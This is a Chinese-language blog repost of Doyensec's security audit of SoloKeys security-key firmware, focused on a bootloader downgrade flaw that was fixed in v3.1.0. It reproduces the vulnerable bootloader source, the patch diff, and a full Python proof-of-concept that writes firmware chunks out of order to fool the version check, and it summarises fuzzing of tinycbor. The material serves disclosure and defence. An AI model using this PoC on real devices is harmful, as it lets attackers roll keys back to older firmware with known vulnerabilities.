对安全登录密钥硬件 SoloKeys 固件安全的分析

admin 2020年9月7日12:05:50评论204 views字数 14442阅读48分8秒阅读模式

对安全登录密钥硬件 SoloKeys 固件安全的分析

Doyensec挖掘并报告了 SoloKeys 固件中的3个漏洞,其中两个漏洞是信息泄露的问题,另一个已被定级为严重性较高的漏洞,三个漏洞已在v3.1.0中修复。

对安全登录密钥硬件 SoloKeys 固件安全的分析

漏洞细节参见报告:

https://doyensec.com/resources/Doyensec_SoloKeys_TestingReport_Q12020_v3.pdf

对安全登录密钥硬件 SoloKeys 固件安全的分析
0x01 安全分析

之前我分享了我在基于新的NXP LPC55S69微控制器和用Rust重写的新固件Build的新的Solo型号(有关该固件的博客文章即将发布)。由于我的大部分精力都将花费在新固件上,但也不希望放弃当前基于STM32的固件。我们将继续提供支持修复漏洞,但很可能会引起更广泛社区的关注。

因此,我们认为有必要进行安全性分析。

我们要求Doyensec不仅详细说明他们的漏洞,而且详细说明挖掘过程,以便我们在发布Rust时可以重新验证Rust中的新固件。

对安全登录密钥硬件 SoloKeys 固件安全的分析
0x02  主要发现:降级攻击

漏洞挖掘包括静态源码审计和固件模糊测试,2020年1月21日至1月31日,一位研究人员进行了为期2周的挖掘。

他发现了一种降级攻击,利用这种攻击,可以将固件“上传”为多个无序块,从而能够将其“升级”为以前的旧版本。降级攻击通常非常敏感,因为降级攻击使攻击者可以降级到固件的先前版本,然后利用较早的已知漏洞。

但是,实际上,对Solo密钥进行这种攻击需要对密钥进行物理访问,或者,如果在恶意站点上进行了尝试则需要在WebAuthn窗口上进行明确的用户确认。

这意味着钥匙可以肯定是安全的。此外,我们始终建议使用官方工具升级固件。

另请注意,我们的固件已进行数字签名,这种降级攻击无法绕过我们的签名验证。因此,可能的攻击者只能安装我们之前的发行版中二十个中的一个。

对安全登录密钥硬件 SoloKeys 固件安全的分析
0x03  降级攻击剖析

漏洞代码如下:

https://github.com/solokeys/solo/blob/3.0.1/targets/stm32l432/bootloader/bootloader.c#L201

 // Copyright 2019 SoloKeys Developers

 //

 // Licensed under the Apache License, Version 2.0,  or the MIT license , at your option. This file may not be

 // copied, modified, or distributed except according to those terms.


 #include  #include  

 #include APP_CONFIG

 #include "uECC.h"

 #include "u2f.h"

 #include "device.h"

 #include "flash.h"

 #include "crypto.h"

 #include "led.h"

 #include "memory_layout.h"

 #include "ctap_errors.h"

 #include "log.h"


 volatile version_t current_firmware_version __attribute__ ((section (".flag2"))) __attribute__ ((__used__)) =  {

   .major = SOLO_VERSION_MAJ,

   .minor = SOLO_VERSION_MIN,

   .patch = SOLO_VERSION_PATCH,

   .reserved = 0

 };


 extern uint8_t REBOOT_FLAG;


 typedef enum

 {

     BootWrite = 0x40,

     BootDone = 0x41,

     BootCheck = 0x42,

     BootErase = 0x43,

     BootVersion = 0x44,

     BootReboot = 0x45,

     BootBootloader = 0x46,

     BootDisable = 0x47,

 } BootOperation;



 typedef struct {

     uint8_t op;

     uint8_t addr[3];

     uint8_t tag[4];

     uint8_t lenh;

     uint8_t lenl;

     uint8_t payload[255 - 10];

 } __attribute__((packed)) BootloaderReq;


 /**

  * Erase all application pages. **APPLICATION_END_PAGE excluded**.

  */

 static void erase_application()

 {

     int page;

     for(page = APPLICATION_START_PAGE; page < APPLICATION_END_PAGE; page++)

     {

         flash_erase_page(page);

     }

 }


 static void disable_bootloader()

 {

     // Clear last 4 bytes of the last application page-1, which is 108th

     uint8_t page[PAGE_SIZE];

     memmove(page, (uint8_t*)LAST_ADDR, PAGE_SIZE);

     memset(page+PAGE_SIZE -4, 0, 4);

     flash_erase_page(LAST_PAGE);

     flash_write(LAST_ADDR, page, PAGE_SIZE);

 }


 static void authorize_application()

 {

     // Do nothing, if is_authorized_to_boot() returns true, otherwise

     // clear first 4 bytes of the last 8 bytes of the page 108.


     // uint32_t zero = 0;

     // uint32_t * ptr;

     // ptr = (uint32_t *)AUTH_WORD_ADDR;

     // flash_write((uint32_t)ptr, (uint8_t *)&zero, 4);

     uint8_t page[PAGE_SIZE];

     if (is_authorized_to_boot())

         return;

     // FIXME refactor: code same as in disable_bootloader(), except clearing start address (-8)

     memmove(page, (uint8_t*)LAST_ADDR, PAGE_SIZE);

     memset(page+PAGE_SIZE -8, 0, 4);

     flash_erase_page(LAST_PAGE);

     flash_write(LAST_ADDR, page, PAGE_SIZE);

 }


 int is_authorized_to_boot()

 {

     // return true, if (uint32_t)AUTH_WORD_ADDR is equal 0

     // Page -4 -> 124

     uint32_t * auth = (uint32_t *)AUTH_WORD_ADDR;

     return *auth == 0;

 }


 int is_bootloader_disabled()

 {

     // return true, if (uint32_t)AUTH_WORD_ADDR+4 is equal 0

     // Page -4 -> 124

     uint32_t * auth = (uint32_t *)(AUTH_WORD_ADDR+4);

     return *auth == 0;

 }

 uint8_t * last_written_app_address;


 #include "version.h"

 bool is_firmware_version_newer_or_equal()

 {


     printf1(TAG_BOOT,"Current firmware version: %u.%u.%u.%u (%02x.%02x.%02x.%02x)rn",

           current_firmware_version.major, current_firmware_version.minor, current_firmware_version.patch, current_firmware_version.reserved,

           current_firmware_version.major, current_firmware_version.minor, current_firmware_version.patch, current_firmware_version.reserved

           );

   volatile version_t * new_version = ((volatile version_t *) last_written_app_address);

   printf1(TAG_BOOT,"Uploaded firmware version: %u.%u.%u.%u (%02x.%02x.%02x.%02x)rn",

           new_version->major, new_version->minor, new_version->patch, new_version->reserved,

           new_version->major, new_version->minor, new_version->patch, new_version->reserved

           );


   const bool allowed = is_newer((const version_t *)new_version, (const version_t *)&current_firmware_version) || current_firmware_version.raw == 0xFFFFFFFF;

   if (allowed){

     printf1(TAG_BOOT, "Update allowed, setting new firmware version as current.rn");

 //    current_firmware_version.raw = new_version.raw;

     uint8_t page[PAGE_SIZE];

     memmove(page, (uint8_t*)BOOT_VERSION_ADDR, PAGE_SIZE);

     memmove(page, (version_t *)new_version, 4);

     printf1(TAG_BOOT, "Writingrn");

     flash_erase_page(BOOT_VERSION_PAGE);

     flash_write(BOOT_VERSION_ADDR, page, PAGE_SIZE);

     printf1(TAG_BOOT, "Finishrn");

   } else {

     printf1(TAG_BOOT, "Firmware older - update not allowed.rn");

   }

   return allowed;

 }


 /**

  * Execute bootloader commands

  * @param klen key length - length of the bootloader request

  * @param keyh key handle - bootloader request, packeted as key handle

  * @return

  */

 int bootloader_bridge(int klen, uint8_t * keyh)

 {

     static int has_erased = 0;

     BootloaderReq * req =  (BootloaderReq *  )keyh;

 #ifndef SOLO_HACKER

     uint8_t hash[32];

 #endif

     uint8_t version = 1;

     uint16_t len = (req->lenh << 8) | (req->lenl);


     if (len > klen-10)

     {

         printf1(TAG_BOOT,"Invalid length %d / %drn", len, klen-9);

         return CTAP1_ERR_INVALID_LENGTH;

     }

 #ifndef SOLO_HACKER

     extern uint8_t *pubkey_boot;


     const struct uECC_Curve_t * curve = NULL;

 #endif


     // Translate and enclose the requested address in the MCU flash space, starting from 0x8000000

     uint32_t addr = ((*((uint32_t*)req->addr)) & 0xffffff) | 0x8000000;


     uint32_t * ptr = (uint32_t *)addr;


     switch(req->op){

         case BootWrite:

             // Write to MCU's flash.

             printf1(TAG_BOOT, "BootWrite: %08lxrn",(uint32_t)ptr);

             // Validate write range.

             if (   (uint32_t)ptr < APPLICATION_START_ADDR

                 || (uint32_t)ptr >= APPLICATION_END_ADDR

                 || ((uint32_t)ptr+len) > APPLICATION_END_ADDR)

             {

                 printf1(TAG_BOOT,"Bound exceeded [%08lx, %08lx]rn",APPLICATION_START_ADDR,APPLICATION_END_ADDR);

                 return CTAP2_ERR_NOT_ALLOWED;

             }


             // Clear all application pages, if not done already.

             if (!has_erased || is_authorized_to_boot())

             {

                 erase_application();

                 has_erased = 1;

             }

             // Fail, if the validation procedure passes.

             if (is_authorized_to_boot())

             {

                 printf2(TAG_ERR, "Error, boot check bypassedn");

                 exit(1);

             }

             // Do the actual write

             flash_write((uint32_t)ptr,req->payload, len);

             last_written_app_address = (uint8_t *)ptr + len - 8 + 4;

             break;

         case BootDone:

             // Writing to flash finished. Request code validation.

             printf1(TAG_BOOT, "BootDone: rn");

 #ifndef SOLO_HACKER

             if (len != 64)

             {

                 printf1(TAG_BOOT,"Invalid length for signaturern");

                 return CTAP1_ERR_INVALID_LENGTH;

             }

             dump_hex1(TAG_BOOT, req->payload, 32);

             // Hash all code, included in the application pages, SHA256

             ptr = (uint32_t *)APPLICATION_START_ADDR;

             crypto_sha256_init();

             crypto_sha256_update((uint8_t*)ptr, APPLICATION_END_ADDR-APPLICATION_START_ADDR);

             crypto_sha256_final(hash);

             curve = uECC_secp256r1();

             // Verify incoming signature made over the SHA256 hash

             if (

                     !uECC_verify(pubkey_boot, hash, 32, req->payload, curve)

             )

             {

               printf1(TAG_BOOT, "Signature invalidrn");

                 return CTAP2_ERR_OPERATION_DENIED;

             }

             if (!is_firmware_version_newer_or_equal()){

               printf1(TAG_BOOT, "Firmware older - update not allowed.rn");

               printf1(TAG_BOOT, "Rebooting...rn");

               REBOOT_FLAG = 1;

               return CTAP2_ERR_OPERATION_DENIED;

             }

 #endif

             // Set the application validated, and mark for reboot.

             authorize_application();


             REBOOT_FLAG = 1;

             break;

         case BootCheck:

             return 0;

             break;

         case BootErase:

             printf1(TAG_BOOT, "BootErase.rn");

             erase_application();

             return 0;

             break;

         case BootVersion:

             has_erased = 0;

             printf1(TAG_BOOT, "BootVersion.rn");

             version = SOLO_VERSION_MAJ;

             u2f_response_writeback(&version,1);

             version = SOLO_VERSION_MIN;

             u2f_response_writeback(&version,1);

             version = SOLO_VERSION_PATCH;

             u2f_response_writeback(&version,1);

             break;

         case BootReboot:

             printf1(TAG_BOOT, "BootReboot.rn");

             printf1(TAG_BOOT, "Application authorized: %d.rn", is_authorized_to_boot());

             REBOOT_FLAG = 1;

             break;

         case BootDisable:

             // Disable bootloader using a magic bytes as a confirmation phrase.

             printf1(TAG_BOOT, "BootDisable %08lx.rn", *(uint32_t *)(AUTH_WORD_ADDR+4));

             if (req->payload[0] == 0xcd && req->payload[1] == 0xde

                && req->payload[2] == 0xba && req->payload[3] == 0xaa)

             {

                 disable_bootloader();

                 version = 0;

                 u2f_response_writeback(&version,1);

             }

             else

             {

                 version = CTAP2_ERR_OPERATION_DENIED;

                 u2f_response_writeback(&version,1);

             }

             break;

 #ifdef SOLO_HACKER

         case BootBootloader:

             // Boot ST bootloader

             printf1(TAG_BOOT, "BootBootloader.rn");

             flash_option_bytes_init(1);

             boot_st_bootloader();

             break;

 #endif

         default:

             return CTAP1_ERR_INVALID_COMMAND;

     }

     return 0;

 }


 /**

  * Control LEDs while in the bootloader.

  */

 void bootloader_heartbeat()

 {

     static int state = 0;

     static uint32_t val = (LED_MAX_SCALER - LED_MIN_SCALER)/2;

     uint8_t r = (LED_INIT_VALUE >> 16) & 0xff;

     uint8_t g = (LED_INIT_VALUE >> 8) & 0xff;

     uint8_t b = (LED_INIT_VALUE >> 0) & 0xff;


     if (state)

     {

         val--;

     }

     else

     {

         val++;

     }


     if (val > LED_MAX_SCALER || val < LED_MIN_SCALER)

     {

         state = !state;

     }


     led_rgb(((val * g)<<8) | ((val*r) << 16) | (val*b));

 }


 uint32_t ctap_atomic_count(uint32_t amount)

 {

     static uint32_t count = 1000;

     count += (amount + 1);

     return count;

 }

diff补丁代码如下:

https://github.com/solokeys/solo/pull/368/files#diff-f7cab51b94eff98a0aff021c872244b4R203

targets/stm32l432/bootloader/bootloader.c


 @@ -50,12 +50,15 @@ typedef struct {

     uint8_t payload[255 - 10];

 } __attribute__((packed)) BootloaderReq;


 uint8_t * last_written_app_address;


 /**

  * Erase all application pages. **APPLICATION_END_PAGE excluded**.

  */

 static void erase_application()

 {

     int page;

     last_written_app_address = (uint8_t*) APPLICATION_START_ADDR;

     for(page = APPLICATION_START_PAGE; page < APPLICATION_END_PAGE; page++)

     {

         flash_erase_page(page);

 @@ -106,7 +109,6 @@ int is_bootloader_disabled()

     uint32_t * auth = (uint32_t *)(AUTH_WORD_ADDR+4);

     return *auth == 0;

 }

 uint8_t * last_written_app_address;


 #include "version.h"

 bool is_firmware_version_newer_or_equal()

 @@ -116,7 +118,7 @@ bool is_firmware_version_newer_or_equal()

           current_firmware_version.major, current_firmware_version.minor, current_firmware_version.patch, current_firmware_version.reserved,

           current_firmware_version.major, current_firmware_version.minor, current_firmware_version.patch, current_firmware_version.reserved

           );

   volatile version_t * new_version = ((volatile version_t *) last_written_app_address);

   volatile version_t * new_version = ((volatile version_t *) (last_written_app_address-8+4));

   printf1(TAG_BOOT,"Uploaded firmware version: %u.%u.%u.%u (%02x.%02x.%02x.%02x)rn",

           new_version->major, new_version->minor, new_version->patch, new_version->reserved,

           new_version->major, new_version->minor, new_version->patch, new_version->reserved

 @@ -170,6 +172,7 @@ int bootloader_bridge(int klen, uint8_t * keyh)

     uint32_t addr = ((*((uint32_t*)req->addr)) & 0xffffff) | 0x8000000;


     uint32_t * ptr = (uint32_t *)addr;

     uint32_t current_address;


     switch(req->op){

         case BootWrite:

 @@ -196,9 +199,16 @@ int bootloader_bridge(int klen, uint8_t * keyh)

                 printf2(TAG_ERR, "Error, boot check bypassedn");

                 exit(1);

             }

             current_address = addr + len;

             if (current_address < (uint32_t) last_written_app_address) {

                 printf2(TAG_ERR, "Error, only ascending writes allowed.n");

                 has_erased = 0;

                 return CTAP2_ERR_NOT_ALLOWED;

             }

             last_written_app_address = (uint8_t*) current_address;


             // Do the actual write

             flash_write((uint32_t)ptr,req->payload, len);

             last_written_app_address = (uint8_t *)ptr + len - 8 + 4;

             break;

         case BootDone:

             // Writing to flash finished. Request code validation.

固件更新是一个二进制blob,其中最后4个字节表示版本。当安装新固件时,将检查这些字节以确保其版本大于当前安装的版本。固件数字签名也已通过验证,但这无关紧要,因为此攻击仅允许安装较早的签名版本。

新固件将成块写入密钥。每次写入时,指向最后写入地址的指针都会更新,因此最终它将指向固件末尾的新版本。可能会看到问题:我们假设块仅被写入一次且按顺序进行,但是没有强制执行。该补丁通过要求严格按升序写入块来解决此问题。

例如,运行v3.0.1,并选择旧固件:例如v3.0.0。搜索其中的四个字节,当被解释为版本号时,看起来大于v3.0.1。首先,将整个3.0.0固件发送到密钥。现在,last_writer_app_address指针正确指向固件的末尾,编码版本为3.0.0。

对安全登录密钥硬件 SoloKeys 固件安全的分析

然后,再次将四个选定的字节写入其原始位置。现在,last_write_app_address指向固件中间的某个位置,并且这4个字节被解释为“随机”版本。原来固件v3.0.0包含一些可以解释为v3.0.37的字节。

对安全登录密钥硬件 SoloKeys 固件安全的分析

如下有一个完整地PoC:

https://github.com/doyensec/SoloKeys-2020Q1-fw-downgrade-PoC

 from intelhex import IntelHex

 import json

 import base64

 from solo import helpers

 import solo.client

 import io

 from tqdm import tqdm


 FW_FILE = "../firmware-3.0.0.json"


 with open(FW_FILE) as f:

     data = json.load(f)


 fw = base64.b64decode(helpers.from_websafe(data["firmware"]).encode()).decode("utf-8")

 fw_file = io.StringIO(fw)

 ih = IntelHex(fw_file)


 sig = base64.b64decode(helpers.from_websafe(data["versions"][">2.5.3"]["signature"]).encode())


 client = solo.client.find()

 client.use_hid()


 if not client.is_solo_bootloader():

     print("[!] Please put the SoloKey in bootloader mode")

     exit(1)


 # desired_version = b"x03x00x00x00"    # make the bootloader believe we're flashing 3.0.0.0

 # desired_version = b"x03x00x00x02"    # make the bootloader believe we're flashing 3.0.0.2

 desired_version = b"x03x00x25x00"  # make the bootloader believe we're flashing 3.0.37.0


 version_offset = ih.tobinstr().find(desired_version)

 correct_version_offset = ih.tobinstr().rfind(b"x03x00x00x00")

 if version_offset == -1:

     print("Cannot find version bytes!")

     exit(1)


 print("[+] Using version bytes at offset 0x{:x} instead of 0x{:x}".format(version_offset, correct_version_offset))


 print("[+] Flashing firmware...")

 chunk_size = 2048

 start_address, end_address = ih.segments()[0]

 version_bytes_address = start_address + version_offset


 for chunk_start in tqdm(range(start_address, end_address, chunk_size)):

     chunk_end = min(chunk_start + chunk_size, end_address)

     data = ih.tobinarray(start=chunk_start, size=chunk_end - chunk_start)

     client.write_flash(chunk_start, data)


 print("n[+] Rewriting version bytes...")


 for chunk_start in tqdm(range(version_bytes_address, version_bytes_address + 4, chunk_size)):

     chunk_end = min(chunk_start + chunk_size, version_bytes_address + 4)

     data = ih.tobinarray(start=chunk_start, size=chunk_end - chunk_start)

     client.write_flash(chunk_start, data)


 client.verify_flash(sig)

对安全登录密钥硬件 SoloKeys 固件安全的分析
0x04  使用AFL Fuzzing TinyCBOR

研究人员还使用AFL Fuzzing 这些固件。我们的固件依赖于外部库tinycbor来解析CBOR数据。在大约24小时的执行时间内,研究人员对超过1亿个输入的代码进行了测试,发现超过4k个虚假的输入被tinycbor误解并导致我们的固件崩溃。有趣的是,最初的输入是由我们的FIDO2测试框架生成的。

对安全登录密钥硬件 SoloKeys 固件安全的分析
0x05  学习总结

这种固件降级漏洞出现的原因是当上传旧固件时,last_writer_app_address指针会指向固件的末尾,然后再次将四个选定的字节写入其原始位置,last_write_app_address就会指向固件中间的某个位置,并且这4个字节被解释为“随机”版本。

参考及来源:https://blog.doyensec.com/2020/02/19/solokeys-audit.html

对安全登录密钥硬件 SoloKeys 固件安全的分析

对安全登录密钥硬件 SoloKeys 固件安全的分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年9月7日12:05:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   对安全登录密钥硬件 SoloKeys 固件安全的分析http://cn-sec.com/archives/121924.html

发表评论

匿名网友 填写信息